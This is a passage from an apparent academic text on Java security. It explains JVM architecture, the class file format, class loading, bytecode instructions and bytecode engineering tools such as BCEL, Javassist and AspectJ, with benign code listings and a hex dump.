and bases on the 'contained guest in host' approach. This is imple-
mented by virtualization frameworks like VMWare (VMware Inc., 2006),
VirtualBox (Sun Microsystems, 2008) and KVM (KVM Project, 2009). They
provide host systems with the ability to execute guest operating systems
running on a virtual machine inside a contained environment isolated in
a process stated by the host computers operating system. A typical use
case for virtual hardware platforms is to execute specific network services
such as a HTTP server process on a guest Linux system, while the host
operating system is a Windows system which hosts a document manage-
ment system. This organization helps to limit covert channels between
the application data store and web access as only communication chan-
nels that are explicitly allowed (such as a FTP replication) are available to
publish documents that are stored on the host system.
4.1.2 Architecture of the JAVA Virtual Machine
As stated above the JVM is part of the JAVA trusted computing base. It is
a specialized software program for executing applications written in the
JAVA bytecode language. A JVM implements an abstract multithreaded
machine, which has a defined set of byte code instructions, as a mecha-
nism for garbage collection on heap allocated data. A class loader concept
is used to securely load classes from external sources such as remote URLs
to the memory areas of the JVM and grouping those in the appropriate
protection domain according to the trust level.
As JAVA source files are statically compiled into class files and do not
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execute directly on the native platform, the JVM works on an intermedi-
ate compiled representation of the JAVA program. This representation is
known as java bytecode. The bytecode is checked during the bytecode ver-
ification process to ensure the integrity (size, format, behavior) of loaded
class files. With this precaution only classes that are successfully verified
as secure code are loaded and initialized.
Platform independence is one of the key features of JAVA. Therefore,
the JVM needs to provide full portability of class files among all sup-
ported platforms regardless of details of the underlying character set or
endianess. The native character presentations are not used for Java string
processing programs, moreover they are converted to the Unicode char-
acter set, and high endianess (MSB most-significant byte first) is used as
relevant byte order for arithmetic operations.
4.1.3 Components of a JVM
According to Meyer and Downing (1997) a JVM consists of several sub-
components:
• The classes management subcomponent is used to provide func-
tionality to load classes from external sources, such as jar files.
• The class verifier is used for validity checks.
• The execution subcomponent is used for runtime management of
interpreting and execution of the bytecode; this does not involve the
compiler, which is a JAVA program itself.
• Subcomponents that handle Threading and metadata Handling.
• The platform dependent abstraction classes hide details of internal
runtime and communication structures.
• The task of the boot class loader is to load the system libraries into
the virtual machine.
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The execution environment
The functionality of a JAVA Runtime Environment can be divided into
several zones which JAVA programs affect on their path of execution, the
JVM core, the system libraries, the native interface layer and the boot class
loader and verifier.
First presented is the core JVM as the location where - as shown above
- instructions in bytecode are interpreted, and where thread and memory
management are performed. JAVA is a portable language, which means
that platform independent functionality of the JRE is itself implemented
in JAVA semantics and located in the system libraries (such as rt.jar
in the JRE from Sun). Platform dependent code such for wrapping na-
tive printing, GUI integration or platform specific file system handling is
typically integrated into the JRE as native methods.
The task of the bytecode verifier is to check that only classes compliant
to the JVM specification are loaded into the virtual machine. Coglio (2003)
presented a detailed analysis on the bytecode verification process.
Classes
One of the core concepts of the JAVA language is portability. Therefore
the class files do not differ in format from platform to platform. To sup-
port evolution of the language there are different versions of class files
corresponding to the evolution of versions of the JAVA language. Newer
versions may integrate new concepts within the JAVA language such as
inner classes whilst providing downward compatibility. This means that
a class file of version 47.0 (JAVA 1.3.1) still runs in a virtual machine for
version 48.0 (Java 1.4.1) but not vice versa.
Class Loading
A JAVA application is composed of several components and implemen-
tation classes. Each class and interface is distributed in an own class
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file, also inner classes are distributed in an own class files. Class files
do not only contain the bytecode, they also contain necessary metadata to
describe constants, fields, methods, exceptions and dependencies to other
classes and interfaces. This is important for the linking step during class
loading by the JVM, as linking is accomplished dynamically via resolution
of the symbolic names to concrete classes of the application.
When an application starts up, a recursive class-loading algorithm is ini-
tiated in order to load all necessary classes. Recursion may be involved
when a class A is loaded that is dependent (use, extends, implements) to
another class B, then B has consequently to be loaded before A. The class
loading step includes means that initially the physical transfer of the bytes
from an external storage into the VM happens. As the next step the class
A is analyzed and the root class files (interfaces and base classes) of A are
loaded. This step may include recursion.
After the class is loaded by resolving and loading the dependencies, the
bytecode verification process is performed. After successful verification,
the class in memory is initialized by calling the static initializer (the <clinit>
method). This is responsible to set the static variables of a class to their
initial values. The attempt to load a class designed for a newer JVM is
denied by throwing a java.lang.UnsupportedClassVersionError.
Class Files
JAVA class files are the platform independent container format for exe-
cutable java code. They are typically generated by the JAVA compiler,
which is part of the JDK. There are also are other class file generators
available that translate from other languages such as Jython or Groovy
(Codehaus Foundation, 2006) into the standardized class file format.
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CA FE BA BE 00 03 00 2D
00 13 07 00 17 12 30 11
.. .. .. 
public class Cat {
  void bite (int times) 
   {
      ...
   }
}
.class public Dog 
.method bite I
.invokestatic seekVictim
...
.end method
.end class
CA FE BA BE 00 03 00 2D
00 13 07 00 17 12 0 11
.. .. .. 
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Figure 4.1: Class files and the bytecode verifier
Class File Format
Beside executable code blocks JAVA class files also embed metadata that
supports both verification and execution of compiled programs for the
JAVA virtual machine. A JAVA class may define methods and fields, so a
JAVA class file contains a method table and field table.
Class files are physical representations of JAVA classes and interface
definitions. They consist of a set of bytes conforming to the byte code
format of the JAVA virtual machine specification.
Every valid class file starts with a header, consisting of a magic constant
(0xCAFEBABE). Then follows the version of the target JVM, for which the
program is compiled, in this case 0x0031, which yields version 49.0. The
value used for JAVA version 1.5, in contrast to JAVA version 1.4 which
utilizes 48.0 as an identifier. A class file is structured like shown in Fig-
ure 4.2, it has three basic big-endian (hi/lo) number types (u1=8 bit value
u2=16 bit value and u4=32 bit value) and a complex table type is used.
The constant pool follows after the header. The constant pool is a list
that is preceded by an u2-sized data item (holding constantpoolsize+ 1).
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The body of the list are constantpoolsize − 1 constant pool entries. The
constant pool is followed by metadata about the class itself. The metadata
specifies the class identity, the inheritance relations and the access modi-
fier flags of the class. Classes can implement several interfaces. They are
referred to by the entries in the interface table. In order to store state in
objects, the classes need fields. A field table consists of a length counter
and the field_info entries. Behavior of classes in specified by methods
specified in the JAVA bytecode language. A method table with a length
follows the specification of the fields. The class file is completed by a set
of optional and non-optional attributes such as debugging info (Venners,
1999).
Every interface the class implements is described by a constant pool
entry pointing to the name of each interface. Fields and methods both
have an extended metadata area, which consist of a name, access flags, and
the signature and attributes (see below) store exceptions and bytecode.
Constants such as arbitrary strings or technical names such method
names are stored in the constant pool. Even used multiple times constants
this allows constants to be stored only once and addressed by a unique
reference number. This keeps class files as small as possible to reduce
loading time in bandwidth-reduced scenarios.
A method in the method table is described by its visibility settings and
its code block. The JAVA language specification does not support self-
modifying code, so constructs to directly access a code block do not exist.
From a code design perspective, this precaution prevents self-modification
patterns often used within x86-code or branching into code between text
blocks, which are commonly used as precaution against reverse engineer-
ing.
Code stored in class files can be manipulated by a class loader prior to
execution by overriding the defineClass method and use methods from
a bytecode engineering library to perform specific transformations.
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Class {
u4 magic_value; //0xCAFEBABE constantly
u2 minor_version;
u2 major_version;
u2 constant_pool_element_count;
constpool_info constants[constant_pool_element_count-1];
u2 access_flags;
u2 this_class;
u2 super_class; // extends;
u2 interface_count; // implements;
u2 interfaces[interface_count];
u2 field_count;
field_info fields[field_count];
u2 method_count;
method_info methods[method_count];
u2 attribute_count;
u2 attributes[attributes_count];
}
Figure 4.2: Class file structure
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Constant-Pool entries
Constant pool entries are equipped with a type. Every entry holds a value
and a one-byte type indicator. The constant pool defines the symbolic
names of classes (CONSTANT_Class type), fields (CONSTANT_Field), meth-
ods (CONSTANT_Method) as well as the used interfaces (
CONSTANTITFMREF). These are used to perform the dynamic linking
during class loading as well as the strings and numeric constants used
in the bytecode. The constant pool is implemented as an indexed table,
holding size− 1 entries, because the index 0 is unused. CONSTANT_Long
and CONSTANT_Double use two locations in the constant pool due to their
length of 64 bits. All constant pool entries except CONSTANT_Utf8 8 string
entries are fixed in their value size.
Attributes
A typical attribute is described as in Figure 4.3.
Attribute {
u2 attr_name_idx;
u2 attr_length;
u1 info[attr_length];
}
Figure 4.3: Attribute description
The value attr_name_idx specifies the name of the attribute (such as
Exceptions), other defininig elements are the length of the Attribute and
a data buffer specifying the Attribute. Attributes are described by their
name and hold complex non-optional information such as the bytecode,
exceptions, inner classes, start up values for static fields and optional in-
formation such as metadata useful for debugging. Annotations by the
compiler such as deprecation markers, synthetic accessor methods for in-
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ner classes are stored in attributes. Attributes are identified by a key string
name, such as Code, InnerClasses, LocalVariableTable and others. New at-
tribute types can therefore be added to the class file format without chang-
ing the physical representation of the class file format.
Object management
The data structures described above serve the purpose to run JAVA appli-
cations. A fundamental concept of object-oriented languages like JAVA is
to create typed object instances on the fly. Therefore, the virtual machine
needs to manage the metadata for identity, the internal state, threading,
reflection, and reference counters for the lifecycle (garbage collection) of
the created JAVA objects. Every JAVA object has an identity that is calcu-
lated by the hashcode method of its class implementation. A JAVA object
may optionally have instance variables (fields), which store the data as-
sociated to an object. For reflective purposes an object needs access to
class metadata. These are gathered by the use of the Object.getClass()
method. As a prerequisite, code must be granted a RuntimePermission
"accessDeclaredMembers" to be allowed to perform a lookup of arbi-
trary fields within an object. As this functionality is restricted, the reflec-
tion API is not fully available for applets, to block the access of untrusted
code to non-public data. Object instances can be used as references for
thread synchronization, therefore current monitor references have to be
created and managed.
When an object instance is created the memory space to store the in-
ternal data is allocated from the heap, the exact amount of needed bytes
can be derived from the class metadata. After allocation, the memory for
the instance variables is set to an initial state (normally zero-bytes). The
pointer to the class structure is moved to the appropriate field in the object
block. Then the dynamic initializer (constructor) is invoked for the object
instance, which is denoted as <init>, which is the internal method name
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for a constructor. A constructor implementation can be used to incor-
porate checks (check point pattern) on the initialization parameters and
environmental settings before creating the object.
In the later discussion it will be shown that there exist configurations
in the object-lifecycle state-model that bypass the security function of con-
structors. This is the case with injecting objects into the JVM with the use
of the Serialization API.
After invoking the constructor, the object is initialized and available for
usage by invoking other methods or accessing the fields.
The performance of the JAVA virtual machine is dependent of the lookup
speed of information stored in the fields of an object instances. Therefore,
indirections needed for bytecode portability are resolved during execution
to allow faster execution. This technique is named quickening, which al-
lows replacing time-consuming indirect lookups to the constant-pool for
methods, fields, etc. with quick lookups to the real native memory loca-
tion. The slow portable GETFIELD bytecode instructions are then replaced
inline with special internal bytecode operations GETFIELD_QUICK. This
replacement technique allows further invocations to gain from an initial
quickening step.
For portability reasons a JAVA compiler never emits these native op-
codes. They are part of an encapsulated JVM design feature to perform
optimization on bytecode sequences. After bytecode optimizations are ap-
plied, the JVM typically applies hotspot compilation techniques. These
may vary for the different usage patterns of java. A desktop client JVM
is typically optimized for quick startup and instant execution whereas a
server JVM spends more effort in identifying and replacing performance
hot spots with adequate and faster native replacements.
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Static and virtual invocation
JAVA allows methods, which are not related to an object identity to be
associated to the class. Those methods are called static methods in con-
trast to non-static instance methods, which are bound to specific object
instance. In JAVA methods invocation is triggered by messages. In or-
der to invoke static methods the JVM simply has to lookup the class in its
internal class table and consequently invoke the bytecode stored for the
particular method. For the invocation of non-static methods (so called in-
stance methods) the object has to be looked up, and the instance becomes
the this pointer to create an invocation context, which can be used in the
method control flow. The current this pointer is typically propagated in
the consequent instance method calls this object invokes. The feature of
inheritance makes the lookup time-intensive therefore in order to gain
performance, the JVM has the internal optimization option to flatten the
class hierarchy, and copy inherited methods to the invoked subclass in-
stead of looking the definition from the superclass on each invocation.
The JAVA language specification not only supports inheritance, it also
features the decoupling of callers and callees via the definition of inter-
faces. Classes can implement multiple interfaces, therefore method and
field lookups also have to incorporate the multiple interfaces a class imple-
ments. Important security restrictions to the method lookup mechanism
are the accessibility flags of fields, methods and classes. They are limiting
access from private over protected to public namespace availability.
Native Interaction
A JAVA virtual machine is very limited in its functionality when it cannot
access functions available on the native platform such as for I/O, mem-
ory management, networking, or usage of graphical capabilities. These
are normally defined through the API of the underlying operating sys-
tem and system near frameworks. In order to provide a safe and portable
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execution environment these native functions are equipped with special
checks and wrappers are integrated in the system classes to guard the call
path from an application to a native function. This prevents injection of
illegal parameters, which could break the stability of the JAVA runtime en-
vironment.
The JAVA specification specifies platform specific methods written in C or
C++ with the keyword native. These methods are called by using a spe-
cific calling convention the JAVA Native Interface (JNI) (Gordon, 1998).
JNI provides a bidirectional methodology to bridge control flow between
the native platform and the JVM. The native platform can use JNI func-
tions to start a JVM and on the other hand, the JVM can call the native
platform by using native methods.
Stubs in private classes are responsible for the implementation; they call
native functions written in C or C++. Public functions that are available to
the end user call these native stubs, with typically added parameter checks.
Instead of having to deal with using platform dependent calling conven-
tions, the JNI provides a portable way to call native functionality by provid-
ing abstraction headers for the C compiler of the native platform. JNI also
specifies the management of JAVA objects, invocation rules of JAVA meth-
ods from native code, exception-handling, wrapping native return values,
and class loading functionality. The management facilities for functions
written with the JNI include inspection, update, and creation of simple
JAVA objects and arrays.
Problems with JNI
The security of a JAVA system is directly dependent from the security level
of the defined native interfaces. Once the control reaches a native function
the java security mechanisms can be bypassed or misused. Therefore en-
try to native code should be avoided or appropriately guarded by restricting
parameters to block the possibility of calling native code with parameters
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from untrustworthy sources that aim to exploit underlying native vulner-
abilities such as buffer or heap overflows (Koziol et al., 2004) in order to
overtake the native control flow.
4.1.4 Section Summary
In this chapter the core concepts of the JAVA virtual machine have been
presented. This included the inner data structures needed to execute
the functionality stored in JAVA classes. Additionally the technical in-
terfaces for decoupling the platform independent JAVA runtime environ-
ment from the native operation system were presented; furthermore their
impact on security related aspects have been discussed.
4.2 Bytecode Engineering
This section starts with a brief presentation of the basic concepts that de-
fine JAVA Bytecode and Bytecode Engineering (BCE), it then continues to
a classification scheme of tools related to BCE. Further on the uses of byte-
code engineering related to JAVA security is presented, introducing how
JAVA classes can be analyzed manipulated via common BCE tools such as
BCEL and FINDBUGS.
4.2.1 Bytecode
As stated above JAVA class files provide the metadata and bytecode nec-
essary to execute JAVA methods. The metadata states the major part of a
class file, as the compact bytecode only needs around 12 percent of an av-
erage class file (Antonioli and Pilz, 1998). The general structure of JAVA
Bytecode is shown by an example. The simple method depicted in Fig-
ure 4.4 is a typical demonstration how a JAVA compiler (from the Sun
JDK 1.4 implementation) translates the sample program into bytecode.
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public class Test {
public void Hello(String name) {
StringBuffer x;
x = new StringBuffer("Hello:");
x.append(name);
System.out.println(x);
}
}
Figure 4.4: Sample JAVA Program
The code is transformed with a JAVA compiler javac into a class file
containing the bytecode and the metadata structures (see Figure 4.5 ).
The javap utility program is able to disassemble the compiled code. The
extracted bytecode listing reveals the control flow, as shown in Figure 4.6.
A detailed description of the bytecode instructions is provided in Ta-
ble 4.1.
4.2.2 Annotations
This method took variable #1 (String Hello) from the stack frame. The
stack frame is the shared communication area between a method caller
and callee that is used to mediate parameters during method invocations.
The compiler takes care of proper association of stack parameters to local
variables, which have to be pushed on the stacked by the method caller.
The systematic characterization of the instruction is shown next.
4.2.3 Bytecode Instruction Set
The JAVA Bytecode instructions are implement a stack oriented execution
model, which implies that the syntax consists of a rich set of stack ma-
nipulation instructions. There are 212 opcodes defined in the specifica-
tion of the JAVA virtual machine instruction set. The opcodes are fixed in
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0000000: cafe babe 0000 0031 0025 0a00 0900 1207 .......1.%......
0000010: 0013 0800 140a 0002 0015 0a00 0200 1609 ................
0000020: 0017 0018 0a00 1900 1a07 001b 0700 1c01 ................
0000030: 0006 3c69 6e69 743e 0100 0328 2956 0100 ..<init>...()V..
0000040: 0443 6f64 6501 000f 4c69 6e65 4e75 6d62 .Code...LineNumb
0000050: 6572 5461 626c 6501 0005 4865 6c6c 6f01 erTable...Hello.
0000060: 0015 284c 6a61 7661 2f6c 616e 672f 5374 ..(Ljava/lang/St
0000070: 7269 6e67 3b29 5601 000a 536f 7572 6365 ring;)V...Source
0000080: 4669 6c65 0100 0954 6573 742e 6a61 7661 File...Test.java
0000090: 0c00 0a00 0b01 0016 6a61 7661 2f6c 616e ........java/lan
00000a0: 672f 5374 7269 6e67 4275 6666 6572 0100 g/StringBuffer..
00000b0: 0648 656c 6c6f 3a0c 000a 000f 0c00 1d00 .Hello:.........
00000c0: 1e07 001f 0c00 2000 2107 0022 0c00 2300 ...... .!.."..#.
00000d0: 2401 0004 5465 7374 0100 106a 6176 612f $...Test...java/
00000e0: 6c61 6e67 2f4f 626a 6563 7401 0006 6170 lang/Object...ap
00000f0: 7065 6e64 0100 2c28 4c6a 6176 612f 6c61 pend..,(Ljava/la
0000100: 6e67 2f53 7472 696e 673b 294c 6a61 7661 ng/String;)Ljava
0000110: 2f6c 616e 672f 5374 7269 6e67 4275 6666 /lang/StringBuff
0000120: 6572 3b01 0010 6a61 7661 2f6c 616e 672f er;...java/lang/
0000130: 5379 7374 656d 0100 036f 7574 0100 154c System...out...L
0000140: 6a61 7661 2f69 6f2f 5072 696e 7453 7472 java/io/PrintStr
0000150: 6561 6d3b 0100 136a 6176 612f 696f 2f50 eam;...java/io/P
0000160: 7269 6e74 5374 7265 616d 0100 0770 7269 rintStream...pri
0000170: 6e74 6c6e 0100 1528 4c6a 6176 612f 6c61 ntln...(Ljava/la
0000180: 6e67 2f4f 626a 6563 743b 2956 0021 0008 ng/Object;)V.!..
0000190: 0009 0000 0000 0002 0001 000a 000b 0001 ................
00001a0: 000c 0000 001d 0001 0001 0000 0005 2ab7 ..............*.
00001b0: 0001 b100 0000 0100 0d00 0000 0600 0100 ................
00001c0: 0000 0100 0100 0e00 0f00 0100 0c00 0000 ................
00001d0: 3c00 0300 0300 0000 18bb 0002 5912 03b7 <...........Y...
00001e0: 0004 4d2c 2bb6 0005 57b2 0006 2cb6 0007 ..M,+...W...,...
00001f0: b100 0000 0100 0d00 0000 1200 0400 0000 ................
0000200: 0400 0a00 0500 1000 0600 1700 0700 0100 ................
0000210: 1000 0000 0200 11 .......
Figure 4.5: Classfile dump
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public void Hello(java.lang.String);
Code:
0: new #26; //class StringBuffer
3: dup
4: ldc #28; //String Hello:
6: invokespecial #30;
//Method \JAVA/lang/StringBuffer."<init>":
//(Ljava/lang/String;)V
9: astore_2
10: aload_2
11: aload_1
12: invokevirtual #34;
//Method \JAVA/lang/StringBuffer.append:
//(Ljava/lang/String;)Ljava/lang/StringBuffer;
15: pop
16: getstatic #40;
//Field \JAVA/lang/System.out:
//Ljava/io/PrintStream;
19: aload_2
20: invokevirtual #46;
//Method \JAVA/io/PrintStream.println:
//(Ljava/lang/Object;)V
23: return
Figure 4.6: Bytecode dump
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0: new # 26 Creates a new StringBuffer object, taking the name from the Slot #26 in
the ConstantPool, the reference is put on top of the stack
3: dup Duplicates the current top of the stack, for reuse purposes
4: ldc #4 Loads the string constant Hello from Slot #4 in the ConstantPool on the
top of the stack
6: invokespecial #30 Invokes the Method #30 (the name is <init> , which characterizes a
constructor) of the StringBuffer object with a String parameter, taking the
string parameter (Hello) and the StringBuffer reference from the stack
9: astore_2 Stores the object from the top of the stack into the local variable #2 (x)
10: aload_2 Takes the StringBuffer object from the local variable #2
11: aload_1 Takes the argument (String name), which is copied from the call stack
prior execution in local variable slot #1
12: invokevirtual #34 Invokes the append Method (name taken from constant pool entry #34) of
the StringBuffer class with the top two stack entries (references on Hello
and the recently created StringBuffer object), leaving a new StringBuffer
object on the stack.
15: pop Corrects the stack, removing the StringBuffer reference left on the stack
by the append operation for optional assignment, which is not done here
16: getstatic #40 Gets the reference of the static 'out' field in java.lang.System, which
is a java.io.PrintStream object, the name of the Field is stored in slot
#40 of the constant pool
19: aload_2 Put the reference from local variable #2 (StringBuffer object x) on the
stack
20: invokevirtual #46 Invokes the method println on out, which takes one argument from the
stack (here StringBuffer object x)
23: return Returns from the method, as this is a void method no return values are
pushed on the stack
Table 4.1: Step-by-step walk through bytecode instructions
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length, but there are a few exceptions to the rule. The LOOKUPSWITCH and
TABLESWITCH instructions need to use as many operands as there are case
targets in a switch statement. They can be subdivided into the following
categorization scheme:
Arithmetic opcodes handle the basic arithmetic tasks like addition, mul-
tiplication and negation and derived operations on JAVA integers
(32 bits), long values (64bit), floats (32bit) and doubles (64bit). Sev-
eral JAVA integer types (char, byte, integer, short) are projected on
the same physical integer bytecode type by the JAVA compiler; this
is achieved by transparent casting. The distinction between possi-
ble return types is denoted with the prefix of the opcode (such as
IADD, which takes two stack integer operands and pushes an inte-
ger back to the stack) in contrast to the equivalent operation with two
byte value, which has a limited range of return values and therefore
needs an additional i2b cast after the integer addition. JAVA inte-
ger additions do not cause a signal to be set when an overflow has
occurred. Instead the sign of integers and longs flips silently. This
problem was the cause for the java.util.zip denial-of-service vul-
nerability that will be discussed later in the antipatterns discussin
(Chapter 8).
Stack manipulation operations allow to push values to the stack. These
can either be taken from the constant pool or for often used values
direct from a short form instruction like ILOAD_1, which pushes a
literal integer valued 1 to the stack. Short instructions, which do not
need a constant pool lookup, are used for optimization purposes.
Values can also be removed from the stack by executing a pop in-
struction.
Flow control opcodes are necessary to implement loops. Although the
JAVA language does not have a goto instruction, the JVM instruc-
tion set simplifies high-level for-, while- and do- blocks to loops con-
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structed with GOTO and IF_xx opcodes. JAVA exception (try, catch
and finally) handling is implemented as calls to subroutines, which
are local for the current method. The ATHROW instruction throws a
new exception object. In order to address branch targets, which are
used in instructions like IF_NE 33, the JAVA virtual machine uses
integer offsets that specify the relative distance to the current posi-
tion. Flow control instruction may not jump beyond the end or start
of the current method; otherwise the bytecode verifier would reject
the class.
Storage Management for local variables is handled with ILOAD and ISTORE
operations. Short versions exist to handle often use literals with-
out constant pool lookups. Variables can be moved into arrays with
IASTORE instructions and retrieved from arrays with IALOAD opera-
tions.
Field access is different from local variable access. This is also reflected
in the opcodes GETFIELD / PUTFIELD, which are used for access
on instance fields. Class fields (static variables) can be accessed via
GETSTATIC / PUTSTATIC operations.
Thread management opcodes are MONITORENTER and MONITOREXIT. They
define demarcation areas for synchronized areas and correspond
to synchronized blocks that can be defined in the JAVA language
to assure that a particular code block is executed only exactly one
thread a time.
Object creation is initiated with the NEW operator that allocates a new ob-
ject and pushes the reference on the stack. Creating complex objects
requires special allocators such as NEWARRAY, which creates simple
type arrays such as byte[]. Multidimensional arrays are created
with MULTIANEWARRAY.
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Casting operations are used to convert variables into related types and
conduct type checks. For example, the B2I instruction takes the
uppermost element from the stack (byte value expected) and casts
the value to the destination type (integer).
Invocation operations trigger the execution of methods, like INVOKESTA-
TIC for static methods and INVOKEVIRTUAL for instance methods.
Private methods and methods from super classes, such as super con-
structors are called with an INVOKESPECIAL instruction.
A full list of opcodes is listed in the JVM specification (Lindholm and
Yellin, 1997).
4.2.4 Code
It has been already discussed that the compiler for the JAVA language does
not have to be trusted, as the resulting class files are verified by the byte-
code verifier prior execution. Therefore, the emitter of class files can ei-
ther be a JAVA compiler or a program that compiles source code in another
programming language into JAVA bytecode. To create verifiable bytecode
the compiler needs to maintain the correct stack frame. This reflects cor-
rect number of parameters and valid bytecode for the compiled methods.
Abstract methods do not carry any code. In addition to these non-optional
parts, a compiler can add optional debugging information such as variable
names and line number tables, which are provided to the developer when
stack traces are generated.
4.2.5 Exception Handling
Error conditions that cannot be handled locally are typically raising ex-
ceptions. A bytecode method has a special array field referencing special
areas of code, called exception handlers, each one for a corresponding ex-
ception the method can handle locally in a catch block. In the case of an
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exception, an absolute address is looked up from the array providing the
bytecode location of the exception handler. The exception is propagated
back over the stack to the calling method when the appropriate exception
handler is missing in the local method.
4.2.6 Bytecode type system
JAVA bytecode is different from other assembly languages, as it uses a
subset of the JAVA type system. This is needed by the bytecode verifier
to provide type-safety. The type information is stored in the constant-pool
and consists of type indication strings. These are typically used in method
signatures, and provide information about parameter types and the type
of the return values. For example the signature string ([BII)I matches
to the input and output parameters of the int f(byte[] a, int start,
int offset) method.
4.3 Bytecode Engineering Instruments
The inner structures of the bytecode are useful when focusing on tech-
niques that analyze and manipulate bytecode after it has been generated
by a code emitter (JAVA or other compiler). Application areas include al-
ternation of bytecode to change or insert behavior into existing classes
without recompilation. This is necessary for code obfuscators, code opti-
mization tools, code analysis, or insertion of code templates into existing
code such as to define aspect-oriented handling of crosscutting functions.
The following approaches can be used to work with bytecode:
• Instruction level API (BCEL)
• High level API (JavaSsist)
• Aspect-oriented instrumentation (AspectWerkz, AspectJ)
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These approaches differ mostly in the semantic level that the program-
mer is normally exposed to. Some APIs are working on the JAVA lan-
guage layer, some are dealing with bytecode instructions, and so they are
presented next as well as their use cases.
4.3.1 Bytecode Instruction Level API
A Bytecode Instruction Level API exposes the artifacts of the JAVA Vir-
tual Machine as JAVA objects to the programmer. The BCEL (Byte Code
Engineering Library) is a frequently used tool to perform low level op-
erations on bytecode structures (Dahm, 2001). Similar libraries such as
the ASM library exist, but are limited in their potential analysis scenarios.
On top of a bytecode engineering library the analysis algorithm is imple-
mented, BCEL supports a generic Visitor pattern that allows the caller to
walk through the class file represented in a tree-like structure. In contrast
to the JAVA language perspective bytecode engineering libraries are ana-
lyzed class file per class files. Inter-class file dependencies need further
analysis, typically not provided by a low-level library, therefore this feature
is then implemented by the user of the library and the interpretation of
the dependencies are scenario-dependent.
The API is subdivided in three parts. This is reflected by the BCEL
package structure, which is formed by a static part, a class generation part
and associated tools.
Static structures The first package represents the static structure of class
files according to the JVM specification. The core of the package is the
JavaClass class definition, which holds the fields, methods and other
associated metadata needed to describe the logical structure of a JAVA
class file. A JavaClass instance also has an associated org.apache.bcel.
classfile.ClassParser object.
A org.apache.bcel.classfile.ClassParser instance is able to trans-
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form existing bytecode to JAVA representation objects, which may be used
for analysis that goes beyond reflection. As seen above, JAVA classes
store their invariant values in the Constant-Pool. This is reflected by
the ConstantPool container object, which stores the defined constants
of a class file inside single Constant objects. This package also defines
bit mask values that represent access flags used for fields, methods, and
classes. The Repository class provides structures and methods to lookup
and to compare JavaClass objects.
Code generation The second part of the BCEL API (application program-
ming interface) provides functionality to generate and alter the contents
of class files. It abstracts bytecode from the real memory representation.
Special utility classes allow generating JavaClass and ConstantPool ob-
jects in an object-oriented representation. A type information framework
for types like Void, Integer, etc is used to manage field and method signa-
tures. Fields and methods can be generated with FieldGen and MethodGen
utility classes. Fields are described by the type, the access modifier and
optional the initial value. Methods are more complex to analyze and al-
ter as they carry bytecode and exceptions. The MethodGen functionality
therefore allows adding exceptions to methods. The several byte code
instructions are defined as classes and categorized into groups as sub-
classes of abstract classes such as BranchInstruction. The byte code
is represented as a linked list of instruction objects that allows the pro-
grammer to manipulate the code in its logical sequence. The allowed
operations include actions to append, insert, and delete instructions. Ad-
ditionally methods exist that manage maintenance of relative offsets to
branch targets and representation in an InstructionList object. The
abstraction of jump targets allows directing branches towards instances
of InstructionsHandle, which are resolved to physical addresses when
the method is finally transformed to bytecode.
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Use Cases The Low level APIs can be used as a foundation for a range of
supporting applications, such as optimizers or analysis tools or adaptive
runtime modification. BCEL for instance can be integrated for runtime
instrumentation with a modifying class loader. Whenever a JAVA appli-
cation is loaded, the classes are loaded via a BCEL enabled class loader.
This class loader can modify the class files it is supposed to load to adapt
pre-built black-box components to current requirements (Keller and Höl-
zle, 1998). This is done without going through the complete development
cycle of programming, compilation and deployment for every minor non-
functional modification, which only affects byte code semantics.
With the appropriate skill at hand, this results in a better flexibility, as
there is no need to modify the source code base. Furthermore, source
code may not always be available or license agreements forbid the modi-
fication of the source code. A typical use case for modifying the standard
class loader with BCE is adding debugging profiling code to methods, or
guarding methods with checks for technical preconditions, such as the
AccessControlContext to emulate the facilities of smart proxies (Santos
et al., 2002).
Additional checks may collect code coverage metrics like the jcoverage (jcov-
erage ltd, 2005) toolset. The data is gathered from inserted Bytecode inter-
ceptors at the beginning and end of every method. The data gathered can
be used for profiling runtime behavior which is important for a quality
engineering as it ensures that test case cover a majority or ideally all of
the code consisting an application. To ensure a broad coverage of code is
an important prerequisite for applying the JCHAINS toolkit, which will be
used for security engineering in the refactorings chapter.
In addition, authorization checks could be inserted into the control flow
just before instructions to access critical resources (like database records
to be updated) to flexible enable enforcement of a stricter security policy
without the need of recompilation.
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4.3.2 High Level API
A High Level API works on a higher semantic level than the bytecode
level, which is the case with JAVASSIST or BCEL. It exposes technical
JVM artifacts like bytecodes, access modifiers, or constant pools to the
programmer. The Jamaica Macro-Assembler (Huang, 2004) is an assem-
bler that works on the bytecode level but allows extensions via macros. A
sample program for Jamaica is shown in Figure 4.7.
public class MacroTest {
static int iSFld[];
int idx;
static {
%set iSFld = %array int[]{ 2, 3, 4 }
}
void foo() {
%set idx = 0
%println "iSFld[iSFld[idx=", idx, "]] = ", iSFld[iSFld[idx]]
}
public static void main(String[] args) {
%object MacroTest
invokevirtual foo()void
}
}
Figure 4.7: Sample Jamaica Program
In contrast, JAVASSIST (Chiba, 2004) is a typical high level API, which
provides an interface at a similar semantic layer comparable to the reflec-
tion API. An intercepting point such as for debugging purposes is defined
as shown in Figure 4.8.
4.3.3 Aspect-Oriented Instrumentation
Aspect oriented programming is a software development paradigm that
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ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("Circle");
CtMethod cm = cc.getDeclaredMethod("draw", new CtClass[0]);
cm.insertBefore("{System.out.println($1);
System.out.println($2); }");
cc.writeFile();
Figure 4.8: Sample JAVASSIST Program
supports separation of concern by identifying and provide explicit imple-
mentation for aspects.
Aspects
Aspects are defined as program parts that are not specific to the intended
solution domain of the program. Moreover, aspects are reoccurring archi-
tectural patterns such as persistence, security, logging which are needed
to implement the non-functional requirements of a program (Chapter 2.1.1)
whereas the business code implements the functional requirements. By
employing a process called weaving the business logic with the several as-
pects that need to be supported the final application is assembled.
4.3.4 Separation of concern
AOP frameworks define special filter semantics (point cuts) that allows
finding appropriate locations (join points) in programs that can be uti-
lized to insert aspect-oriented code (advices).
A typical use case might be an access control check for an administrative
GUI program. It does not provide any protections in the default mode.
However, new security requirements demand that every access to a pro-
tected resource such as the database tables should be protected by a lo-
gin via the JAAS framework. The access to the database tables can be
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described by point cuts that filter the program locations just before the
JDBC calls. This point cut description is applied to the program to fil-
ter the concrete locations to place the advice (password query per JAAS).
Other frequently applied uses of AOP include runtime instrumentation
to add logging or persistency functionality. Sample implementations for
this application pattern are located in Laddad (2003).
AOP tools
The techniques of AOP are already available in extensions to current pro-
gramming languages, two of them are frequently used and differ in the
way they apply aspect-oriented extensions to existing software. Both ap-
proaches differ in syntax and semantics so programs written with these
extensions are not interchangeable.
AspectJ On of the first AOP solutions available for JAVA is the AspectJ
